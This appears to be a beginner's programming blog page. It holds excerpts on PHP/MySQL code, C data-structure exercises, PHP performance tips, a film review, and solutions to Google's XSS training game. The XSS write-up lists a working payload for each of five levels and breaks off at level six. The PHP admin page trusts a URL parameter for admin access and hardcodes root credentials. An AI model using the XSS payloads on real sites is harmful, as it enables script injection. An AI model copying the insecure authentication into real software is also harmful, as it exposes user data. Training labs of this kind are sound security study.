php pdo test

I did a php pdo test,firstly I created a database named pdotest,then I created a table named books and inserted some records for test.Finally I used pdo to get thoes records. <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ /> <title>pdotest</title> <style type=”text/css”> <!– body,td,th { font-size: 18px; } –> </style></head> <body bgcolor=”#FFFFFF” leftmargin=”0″ topmargin=”0″ marginwidth=”0″ marginheight=”0″> <table width=”400″ border=”0″ cellpadding=”0″ cellspacing=”0″> <tr> <td height=”30″ align=”center”><strong>id</strong></td> <td align=”center”><strong>bookname</strong></td> <td align=”center”><strong>bookprice</strong></td> <td align=”center”><strong>edit</strong></td> </tr> <?php $dbms=’mysql’; $host=’localhost’; $dbName=’pdotest’; $user=’root’; $pass=’root’; $dsn=”$dbms:host=$host;dbname=$dbName”; try { $pdo = new PDO($dsn, $user, $pass); $query=’select * from books’; $result=$pdo->prepare($query); $result->execute(); echo ‘errorcode:’.$pdo->errorCode(); echo ‘<br/>’; print_r($pdo->errorInfo()); while($res=$result->fetch(PDO::FETCH_ASSOC)){ ?> <tr> <td height=”22″ align=”center” valign=”middle”><?php echo $res[‘id’];?></td> <td align=”center” valign=”middle”><?php echo $res[‘bookname’];?></td> <td align=”center” valign=”middle”><?php echo $res[‘bookprice’];?></td> <td align=”center” valign=”middle”><a href=”#”>delete</a></td> </tr> <?php } } catch (PDOException $e) { die (“Error!: ” . $e->getMessage() . “<br/>”); } ?> </table> </td> </body> </html> If you want to see the error code when the sql is error,you should use $pdo->query($query) instead of prepare and……

Circular queue

将顺序队列想象成一个环,约定以队列头指针在队列尾指针的下一位置上作为队列满的状态,需要空出一个位置给头指针。 #include <stdio.h> #include <stdlib.h> typedef struct { int queue[10]; int front; int rear; } qqtype; //初始化 void init(qqtype *q) { q->front = 0; q->rear = 0; } int enterline(qqtype *q,int x) { if ((q->rear + 1) % 10==q->front) //如果尾指针移到了头指针前一个位置,队列就满了(1~9共9个元素,空了个位置),rear最大为9 return 0; else { q->rear = (q->rear + 1) % 10; q->queue[q->rear] = x; //下标从1开始了! return 1; } } int main() { int ch,sign; qqtype *q; q = (qqtype *)malloc(sizeof(qqtype)); init(q); printf(“creat C success\n”); printf(“please input the data\n”); scanf(“%d”,&ch); while (ch!=-1) { if ((sign = enterline(q,ch))!=1) break; scanf(“%d”,&ch); } printf(“output the data\n”); while (q->front!=q->rear) //front为0 { q->front = (q->front+1) % 10; printf(“%d “,q->queue[q->front]); } printf(“\n”); return 1; }

php优化建议60点

//声明:此文是LSA参考网上文章整理而得 //参考链接:http://jingyan.baidu.com/article/a948d651432cb30a2dcd2ef8.html //http://www.ctolib.com/topics-21231.html //http://www.9sep.org/solution-php-problem-improve-performance   第一类、变量类型: 1)主要是使用未定义变量,而直接使用变量,做程序开发结束的时候,程序员都喜欢关闭debug,让一切 Notice和Warning都影藏起来,但实质上php即使关闭debug也会记录日志,将所有的Notice和Warning信息全 部写入日志文件中,无非是一件浪费性能的事,很多phper都有这个小习惯,包括我也一样。 2)另外在程序中应尽量注意变量的使用,如字符串最好使用单引号,而不是双引号,毕竟双引号还得PHP解析 为单引号在执行。 3)说到这里数组中的键值索引一样也需要用单引号,不要不写引号这样的程序执行效率极低。 第二类、函数类型: 1)SESSION变量,大家都知道调用SESSION这个全局变量,往往大家在将值放入SESSION之后,直接就往下接着 写自己的代码了,却忘记了SESSION变量会在页面执行完毕之后才会将值放入SESSION中供其他页面使用,这 样如果这个页面执行时间过长,其他页面也调用这个SESSION就会等待这个写入SESSION的页面执行完毕之后 ,再往后执行其他程序,但是我们的程序要的不是这样的效果,因为我们只需要将值写入SESSION执行之后, 就已经放在SESSION中了,而不是等待页面执行完毕,从PHP官网也能看到这个SESSION变量确实有这个问题, 因此我们需要在写入SESSION之后关闭写入SESSION操作,加上session_write_close()函数则可以减少等待页 面加载完毕的这些无用时间。 2)file_get_contents()函数,这个函数意思是获取远程URL的页面内容,但虽然这样写着,很多人都不会注 意这样一个问题”超时”,如果获取不到页面内容,程序将一直卡在这里,很多人会联系到设置页面超时或 者在php.ini文件中去设置max_execution_time最大执行超时时间,但如果使用的是php-fpm(也就是php-cgi )将对这个参数视为无效,而需要在php-fpm配置文件中设置最大执行超时时间,最终这样也无法起到作用, 需要解决这个问题,仍然需要我们在至调用该函数的时候加上超时时间,这样才能从根本上解决问题。 第三类、引用文件类型: 引用文件很多时间我们都习惯性的使用include ,但是这中间也隐含着一些使用技巧,如果经常使用框架开 发程序的人就很熟悉,项目项目下面会有”include”字样类型的文件夹,程序在查找包含文件的顺序先是在 当前工作目录根路径下include字样文件夹中下查找,然后再是当前该文件所在目录相对的include字样文件 夹中查找。也就是这个include使用不当,程序将会按照这个方式在根路径下面依次查找,这样同样是一件很 费解的事,所以大家应尽量将使用的文件写在最容易查找的位置,这样才有利于程序的执行效率。此外还有 像echo输出多个字符串或变量的函数,使用”.”连接效率要比”,”连接执行效率低。 1、如果能将类的方法定义成static,就尽量定义成static,它的速度会提升将近4倍。 2、$row[’id’] 的速度是$row[id]的7倍。 3、echo 比 print 快,并且使用echo的多重参数(译注:指用逗号而不是句点)代替字符串连接,比如echo $str1,$str2。 4、在执行for循环之前确定最大循环数,不要每循环一次都计算最大值,最好运用foreach代替。 5、注销那些不用的变量尤其是大数组,以便释放内存。 6、尽量避免使用__get,__set,__autoload。 7、require_once()代价昂贵。 8、include文件时尽量使用绝对路径,因为它避免了PHP去include_path里查找文件的速度,解析操作系统路 径所需的时间会更少。 9、如果你想知道脚本开始执行(译注:即服务器端收到客户端请求)的时刻,使用$_SERVER [‘REQUEST_TIME’]要好于time()。 10、函数代替正则表达式完成相同功能。 11、str_replace函数比preg_replace函数快,但strtr函数的效率是str_replace函数的四倍。 12、如果一个字符串替换函数,可接受数组或字符作为参数,并且参数长度不太长,那么可以考虑额外写一 段替换代码,使得每次传递参数是一个字符,而不是只写一行代码接受数组作为查询和替换的参数。 13、使用选择分支语句(译注:即switch case)好于使用多个if,else if语句。 14、用@屏蔽错误消息的做法非常低效,极其低效。 15、打开apache的mod_deflate模块,可以提高网页的浏览速度。 16、数据库连接当使用完毕时应关掉,不要用长连接。 17、错误消息代价昂贵。 18、在方法中递增局部变量,速度是最快的。几乎与在函数中调用局部变量的速度相当。 19、递增一个全局变量要比递增一个局部变量慢2倍。 20、递增一个对象属性(如:$this->prop++)要比递增一个局部变量慢3倍。 21、递增一个未预定义的局部变量要比递增一个预定义的局部变量慢9至10倍。 22、仅定义一个局部变量而没在函数中调用它,同样会减慢速度(其程度相当于递增一个局部变量)。PHP大 概会检查看是否存在全局变量。 23、方法调用看来与类中定义的方法的数量无关,因为我(在测试方法之前和之后都)添加了10个方法,但 性能上没有变化。 24、派生类中的方法运行起来要快于在基类中定义的同样的方法。 25、调用带有一个参数的空函数,其花费的时间相当于执行7至8次的局部变量递增操作。类似的方法调用所 花费的时间接近于15次的局部变量递增操作。 26、Apache解析一个PHP脚本的时间要比解析一个静态HTML页面慢2至10倍。尽量多用静态HTML页面,少用脚 本。 27、除非脚本可以缓存,否则每次调用时都会重新编译一次。引入一套PHP缓存机制通常可以提升25%至100% 的性能,以免除编译开销。 28、尽量做缓存,可使用memcached。memcached是一款高性能的内存对象缓存系统,可用来加速动态Web应用 程序,减轻数据库负载。对运算码 (OP code)的缓存很有用,使得脚本不必为每个请求做重新编译。 29、当操作字符串并需要检验其长度是否满足某种要求时,你想当然地会使用strlen()函数。此函数执行起 来相当快,因为它不做任何计算,只返回在zval 结构(C的内置数据结构,用于存储PHP变量)中存储的已知 字符串长度。但是,由于strlen()是函数,多多少少会有些慢,因为函数调用会经过诸多步骤,如字母小写 化(译注:指函数名小写化,PHP不区分函数名大小写)、哈希查找,会跟随被调用的函数一起执行。在某些 情况下,你可以使用isset() 技巧加速执行你的代码。 (举例如下) if (strlen($foo) < 5) { echo “Foo is too short”$$ } (与下面的技巧做比较) if (!isset($foo{5})) { echo “Foo is too short”$$ } 调用isset()恰巧比strlen()快,因为与后者不同的是,isset()作为一种语言结构,意味着它的执行不需要 函数查找和字母小写化。也就是说,实际上在检验字符串长度的顶层代码中你没有花太多开销。 34、当执行变量$i的递增或递减时,$i++会比++$i慢一些。这种差异是PHP特有的,并不适用于其他语言,所 以请不要修改你的C或Java代码并指望它们能立即变快,没用的。++$i更快是因为它只需要3条指令(opcodes) ,$i++则需要4条指令。后置递增实际上会产生一个临时变量,这个临时变量随后被递增。而前置递增直接在 原值上递增。这是最优化处理的一种,正如Zend的PHP优化器所作的那样。牢记这个优化处理不失为一个好主 意,因为并不是所有的指令优化器都会做同样的优化处理,并且存在大量没有装配指令优化器的互联网服务 提供商(ISPs)和服务器。 35、并不是事必面向对象(OOP),面向对象往往开销很大,每个方法和对象调用都会消耗很多内存。 36、并非要用类实现所有的数据结构,数组也很有用。 37、不要把方法细分得过多,仔细想想你真正打算重用的是哪些代码? 38、当你需要时,你总能把代码分解成方法。 39、尽量采用大量的PHP内置函数。 40、如果在代码中存在大量耗时的函数,你可以考虑用C扩展的方式实现它们。 41、评估检验(profile)你的代码。检验器会告诉你,代码的哪些部分消耗了多少时间。Xdebug调试器包含了 检验程序,评估检验总体上可以显示出代码的瓶颈。 42、mod_zip可作为Apache模块,用来即时压缩你的数据,并可让数据传输量降低80%。 43、在可以用file_get_contents替代file、fopen、feof、fgets等系列方法的情况下,尽量用 file_get_contents,因为他的效率高得多!但是要注意file_get_contents在打开一个URL文件时候的PHP版 本问题; 44、尽量的少进行文件操作,虽然PHP的文件操作效率也不低的; 45、优化Select SQL语句,在可能的情况下尽量少的进行Insert、Update操作(在update上,我被恶批过); 46、尽可能的使用PHP内部函数(但是我却为了找个PHP里面不存在的函数,浪费了本可以写出一个自定义函 数的时间,经验问题啊!); 47、循环内部不要声明变量,尤其是大变量:对象(这好像不只是PHP里面要注意的问题吧?); 48、多维数组尽量不要循环嵌套赋值; 49、在可以用PHP内部字符串操作函数的情况下,不要用正则表达式; 50、foreach效率更高,尽量用foreach代替while和for循环; 51、用单引号替代双引号引用字符串; 52、“用i+=1代替i=i+1。符合c/c++的习惯,效率还高”; 53、对global变量,应该用完就unset()掉; 54、使用checkdnsrr()通过域名存在性来确认部分email地址的有效性,这个内置函数能保证每一个的域名对 应一个IP地址; 55、如果你在使用php5和mysql4.1以上的版本,考虑使用mysql_的改良函数mysqli_; 56、使用highlight_file()能自动打印一份很好格式化的页面源代码的副本; 57、使用error_reporting(0)函数来预防潜在的敏感信息显示给用户。理想的错误报告应该被完全禁用在 php.ini文件里。可是如果你在用一 个共享的虚拟主机,php.ini你不能修改,那么你最好添加 error_reporting(0)函数,放在每个脚本文件的第一行(或用 require_once()来加载)这能有效的保护敏感的 SQL查询和路径在出错时不被显示; 56、通过参数变量地址得引用来使一个函数有多个返回值。你可以在变量前加个“&”来表示按地址传递而非 按值传递; 58、关闭PHP魔术引号(Magic Quote)功能,并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率 59、使用ip2long()和long2ip()函数把IP地址转成整型存放进数据库而非字符型。这几乎能降低1/4的存储空 间。同时可以很容易对地址进行排序和快速查找; 60、使用 gzcompress() 和gzuncompress()对容量大的字符串进行压缩(解压)在存进(取出)数据库时。这种 内置的函数使用gzip算法能压缩到90%; 参考一下,感觉有锦上添花的效果。

php+mysql's operations

基于上次实现的php+mysql实现超原始的注册登录之后,这次的故事实现在登录后以超级管理员身份进行对注册用户的增删改查操作,而以普通用户却无法实现操作数据库(这里涉及权限控制,我只是简单表示一下效果而已,还没实现真正的权限控制) 先放上连接数据库的页面(conndb.php): <?php $db = mysql_connect(“127.0.0.1″,”root”,”root”) or die(“Fail to connect db!”); mysql_select_db(“userdb”,$db) or die (“Can’t connect to userdb”.mysql_error()); ?> 以lsa超级管理员登录后页面(welcome.php)增强版: <?php $username = $_GET[‘uname’]; if($username==’lsa’){ echo ‘Welcome SuperAdmin ‘.$username.’!’; echo ‘<br/><br/>’; include(“/var/www/html/conndb.php”); //$sql = mysql_query(“select * from user order by username”); //$info = mysql_fetch_array($sql); if($_GET[‘page’]==””){ $_GET[‘page’] = 1; } if(is_numeric($_GET[‘page’])){ $page_size = 5; $query = “select count(*) as total from user order by username”; $result = mysql_query($query); $user_count = mysql_result($result,0,0); $page_count = ceil($user_count/$page_size); $offset = ($_GET[‘page’] – 1) * $page_size; $sql = mysql_query(“select * from user order by username limit $offset,$page_size”); $info = mysql_fetch_array($sql); //get a group record(5).mysql_num_rows($sql) is 5 } ?> <form name=”myform” method=”post” action=”search.php” target=”_blank” > <input name=”searchname” type=”text” id=”searchname” size=”25″> &nbsp; <input type=”submit” name=”Submit” value=”search”> </form> <a href=”add_user.php”>Add_user</a> <table width=”100%” height=”200″ border=”1″ cellpadding=”0″ cellspacing=”0″ bgcolor=”#9E7DB4″ align=”center”> <tr valign=”top” bgcolor=”#FFFFFF”> <td height=”100″> <table width=”100%” height=”100%” border=”0″ cellpadding=”0″ cellspacing=”0″> <tr> <td height=”90″ align=”center” valign=”top”> <table width=”100%” border=”0″ align=”center” cellpadding=”0″ cellspacing=”1″ bgcolor=”#625D59″> <tr align=”center” bgcolor=”#00cc00″> <td width=”70″>username</td> <td width=”200″>password</td> <td width=”20″>edit</td> </tr> <?php if($info==false){ echo “<div align=’center’ style=’color:#FF0000; font-size:18px’>Sorry,not found!</div>”;……

稀疏矩阵快速转置

问: 1.什么是稀疏矩阵? 答: 假设在m*n的矩阵中,有t个元素不为0,令&=t/(m*n),&就是矩阵的稀疏因子,通常认为&<=0.05时称为稀疏矩阵。——–摘自《数据结构(C语言版)》 2.什么是转置? 答:在矩阵M中,每个元素的行和列互换,构成新的矩阵T,T即M的转置矩阵,行列互换就是转置(Mij = Tji)。 3.什么是三元组? 答:稀疏矩阵中每个非0元的行标,列标和数值构成一个三元组。 4.什么是三元组表? 答:稀疏矩阵中的每个非0元构成的三元组放在一起,加上稀疏矩阵的总行数,总列数和非0元总数构成三元组表。 5.为什么我看不懂fastt函数的最后一个for循环啊?(哈哈别问我为什么知道,因为我也想了很久才懂) 答:自己模拟一遍,看看注释。 公式:计算M中第col列的第一个非0元素在T三元组表中的位置 cpot[1] = 1; cpot[col] = cpot[col-1] + num[col-1]; #include <stdio.h> typedef struct { int i,j; int e; } triple; //存行标,列标,数值 typedef struct //三元组表 { triple data[1000+1]; //非0元的信息 int numh,numl,tu; } ts; //存三元组,总行数,总列数,非零元素总数 int fastt(ts M,ts &T) { int col,p,q,t; int num[1000],cpot[1000]; //num存M中第col列中非0元素个数,cpot存M中第col列的第一个非0元素在T中的位置 T.numh = M.numl; T.numl = M.numh; T.tu = M.tu; if (T.tu) { for (col=1; col<=M.numl; col++) { num[col] = 0; //初始化全部0 } for (t=1; t<=M.tu; t++) { num[M.data[t].j]++; //计算每一列非零元素个数 } cpot[1] = 1; //固定的 for (col=2; col<=M.numl; col++) { cpot[col] = cpot[col-1] + num[col-1]; //公式,计算M每列第一个非零元素转置后在T三元组表的位置 } for (p=1; p<=M.tu; p++) { col = M.data[p].j; q = cpot[col]; //如果一列中不止一个元素,后面的++就有用了 T.data[q].i = M.data[p].j; T.data[q].j = M.data[p].i; //Tij = Mji T.data[q].e = M.data[p].e; cpot[col]++; //加1为这一列的下一个非0元素做准备 } } return 1; } void creatzz(ts &M) { printf(“请输入稀疏矩阵非零元素个数\n”); scanf(“%d”,&M.tu); printf(“请输入稀疏矩阵行数\n”); scanf(“%d”,&M.numh); printf(“请输入稀疏矩阵列数\n”); scanf(“%d”,&M.numl); printf(“输入稀疏矩阵非零元素三元组信息\n”); for (int k=1; k<=M.tu; k++) { printf(“第%d个元素的行标:”,k); scanf(“%d”,&M.data[k].i); printf(“第%d个元素的列标:”,k); scanf(“%d”,&M.data[k].j); printf(“此元素值:”); scanf(“%d”,&M.data[k].e); } } void printM(ts &M) { int p,q,t = 1,e = 0,flag =……

Thinking about New Sherlock Holmes—Abominable Bride

今天看了神探夏洛克(恐怖新娘),真是一场视觉和思维的盛宴(有点夸张,推理剧情相对1-3季还是差点,不过这是剧场版,勉勉强强算盛宴吧)!还带有恐怖气氛。这是在神探夏洛克第四季和第三季之间的一个电影版,我理解为剧场版。 本人理解的剧情(剧透): 开始回顾了一下1-3季的剧情,断点设在moriarty回归(现代2014或2015年,关键词MISS ME?),接下来1895年的伦敦是夏洛克在回来的飞机上嗑药在他mine place 上假想的,目的是为了破解为什么moriarty死而复生,所以他假想的剧情(也就是本电影的剧情)是在1895年,有个叫Emelia Ricoletti的新娘在结婚纪念日(好像是吧)早上先发乱枪吸引注意(因为要让人以为她死了),接着吞枪自杀,后来Emelia Ricoletti在某天晚上从马车(有马夫驾驶)上下来,拿着双管霰弹枪(不知道什么枪)杀了她丈夫,有马夫(注意这个人,其实是一队的)和一个小警察目击,认为是Emelia Ricoletti鬼魂来了,接着后来几个月内有数起相似的杀人案都被认为是Emelia Ricoletti鬼魂干的,夏洛克和华生一时间也没解决,直到麦考夫找到夏洛克(麦考夫被夏洛克幻想得胖得让我想起忘记了的什么人物……)说有人会找夏洛克,是一件我们(男人)必输的事件(这里麦考夫好像解决了这个鬼新娘案件)。接着就是又一起准备的鬼魂谋杀案,Emelia Ricoletti鬼魂最后还是成功杀了人(名字记不清了,没什么影响),接着夏洛克醒了一会(现实),又回去1985了,接着剧情跳得就快了,玛丽说发现个废弃教堂可能是事件真相(感觉比夏洛克还厉害了),里面一群女士在念咒语什么的,原来这个鬼魂新娘案件是女士们(一个团队)为了争取自己的权力和地位(好像还有男人对女性不好的复仇什么的…)而发起的,目的是为了提升女性的地位(前面玛丽刚出场就是铺垫)。案件手法:Emelia Ricoletti开始并没自杀,用了个相似的尸体代替(和夏洛克假死的手法如出一辙),在杀了她丈夫这个事件后才真死,用真尸体又代替了假尸体,所以人们都以为Emelia Ricoletti死后复活,其实后面的谋杀案都是那个团队的人干的。后来夏洛克就醒了回答现实挖尸体(好像是在验证有没两具相似的尸体),接着就到了夏洛克和moriarty在莱辛巴赫瀑布对决,接着又醒了(坠落醒)。最后又回到1985,外面是现代的巴士,结束。 写得不太好,很多精彩之处没写出来,建议还是去看一遍,这部剧场版我感觉更接近原著(时间,空间,剧情等等),里面一些幽默和推理都承接了前三季,非常好!不少情节和台词都和原著呼应(虽然我还没怎么认真看够原著),有时我都分不清是现实还是虚拟(因为原著采用华生记叙的手法)。特别是莱辛巴赫瀑布那一段,感觉真的是现实夏洛克和moriarty对决的场景,激动人心 感觉我写出来好像体现不出这部电影的精彩,总之给个总结:so cool! 第一次写了这么长的文章,算是记录一下今天看了这部电影,也赞赏一下神探夏洛克之恐怖新娘的精彩!但是第四季就让我有些失望了…… 还是来个积极的结尾吧,这部电影实在好看(本人观点),强烈推荐!over. (莱辛巴赫瀑布对决)

四向迷宫求解

利用栈实现迷宫求解通路。 关键点:1.明确四个方向的顺序(顺时针或逆时针) 2.做标记避免重复走到已走的方块 3.找到可走的方块要进栈保存信息 4.若当前方块没路走了,要出栈并且此位置归0(还原为可走方块) #include <stdio.h> int map[10][10] = { {1,1,1,1,1,1,1,1}, {1,0,0,1,0,0,0,1}, {1,1,0,0,0,1,1,1}, {1,0,0,1,0,0,0,1}, {1,0,0,0,0,0,0,1}, {1,1,1,1,1,1,1,1} }; int killmaze(int si,int sj,int ei,int ej) { struct { int i; //当前方块行号 int j; //当前方块列号 int di; //下一个相邻可走方位号 } st[100]; int top = -1; //初始化栈顶指针 int i,j,k,di,f; top++; //初始方块进栈 st[top].i = si; st[top].j = sj; st[top].di = -1; map[si][sj] = -1; while (top>-1) //栈不空则循环 { i = st[top].i; j = st[top].j; di = st[top].di; //取栈顶方块 if (i==ei&&j==ej) //找到出口! { printf(“maze road is:\n”); for (k=0; k<=top; k++) { printf(“\t(%d,%d) “,st[k].i,st[k].j); } printf(“\n”); return 1; } else //没找到出口 { f = 0; while (di<4&&f==0) //找下一个可走方块 { di++; switch (di) //四个方向搜索 { case 0: i = st[top].i-1; j = st[top].j; break; case 1: i = st[top].i; j = st[top].j+1; break; case 2: i = st[top].i+1; j = st[top].j; break; case 3: i = st[top].i; j = st[top].j-1; break; } if (map[i][j]==0) f = 1; //找到可走的(map是0) } if (f==1) //修改原栈顶元素di { st[top].di = di; top++; //下一个可走方块进栈(刚刚找到的可走的) st[top].i = i; st[top].j = j; st[top].di = -1; map[i][j]……

qsort(c version)

qsort函数是快速排序,包含在stdlib.h头文件内,qsort(a,n,sizeof(x),cmp),这四个参数分别表示开始排序的地址,排序元素数量,每个排序元素的长度,比较函数,其中比较函数要自己写,下面以整型数的排序为例子说明此函数用法 #include <stdio.h> #include <stdlib.h> int qcmp(const void *a, const void *b) { return (*(int *)a-*(int *)b); } int main() { int n,i,j; int str[1005]; while (scanf(“%d”,&n)!=EOF) { for (i=1; i<=n; i++) scanf(“%d”,&str[i]); qsort(&str[1],n,sizeof(int),qcmp); for (j=1; j<=n; j++) { if (j!=n) printf(“%d “,str[j]); else printf(“%d”,str[j]); } printf(“\n”); } }

素数系列—判断素数

何为素数?只能被1和自己整除的大于1的自然数。 最简单的方法就是用n去除2~n-1的数,如果余数有为0的就不是素数,否则就是素数。 #include <stdio.h> int main() { int n,i,flag; while (scanf(“%d”,&n)!=EOF&&n) { flag = 0; if (n==1) { printf(“NO\n”); flag = 1; } for (i=2; i<=n-1; i++) { if (n % i==0) { printf(“NO\n”); flag = 1; break; } } if (flag==0) printf(“YES\n”); } return 0; } 优化: 用2~sqrt(n)去除就可以了,因为任何一个数的最大因子都小于等于此数的平方根。

Google xss-game solution(level 1-6)

[1/6]  Level 1: Hello, world of XSS bug: message = “Sorry, no results were found for <b>” + query + “</b>.” message += ” <a href=’?’>Try again</a>.” # Display the results page self.render_string(page_header + message + page_footer) exp: <script>alert(/xss/)</script> [2/6]  Level 2: Persistence is key bug: html += “<blockquote>” + posts[i].message + “</blockquote”; …… var message = document.getElementById(‘post-content’).value; exp:<img src=1 onerror=”alert(/xss/)”> [3/6]  Level 3: That sinking feeling… bug: html += “<img src=’/static/level3/cloud” + num + “.jpg’ />”; exp:https://xss-game.appspot.com/level3/frame#2xss’ onerror=”alert(/xss/)” [4/6]  Level 4: Context matters bug: <img src=”/static/loading.gif” onload=”startTimer(‘{{ timer }}’);” /> exp:3′);alert(‘xss [5/6]  Level 5: Breaking protocol bug: https://xss-game.appspot.com/level5/frame/signup?next=confirm <a href=”{{ next }}”>Next >></a> we can change the ‘next’ parameter. exp:https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(/xss/) then click go,and input email or everything [6/6]  Level 6: Follow the 🐇 bug: if (url.match(/^https?:\/\//)) {—————–bypass:t-T scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById(“log”), “Loaded gadget from ” + url); …… // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || “/static/gadget.js”; } includeGadget(getGadgetName()); we……